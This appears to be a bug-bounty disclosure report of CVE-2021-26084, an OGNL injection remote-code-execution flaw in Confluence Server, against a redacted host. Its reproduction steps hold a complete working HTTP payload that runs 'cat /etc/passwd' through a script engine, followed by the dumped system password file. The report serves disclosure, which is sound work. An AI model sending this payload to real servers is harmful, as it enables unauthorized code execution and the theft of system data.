RCE in ███ [CVE-2021-26084]

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 ## Impact - An unauthenticated, 3rd-party attacker or adversary can execute remote code ## System Host(s) ██████████ ## Affected Product(s) and Version(s) ## CVE Numbers CVE-2021-26084 ## Steps to Reproduce POST (command cat /etc/passwd) ``` POST /confluence/pages/doenterpagevariables.action HTTP/1.1 Host: ████ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 Accept-Encoding: gzip Content-Length: 915 queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022cat /etc/passwd\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027 ``` You will see the output of the ifconfig command OUTPUT ``` type="hidden" name="queryString" value="aaaaaaaa[root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash ]" /> <input ]" /> ``` ## Suggested Mitigation/Remediation Actions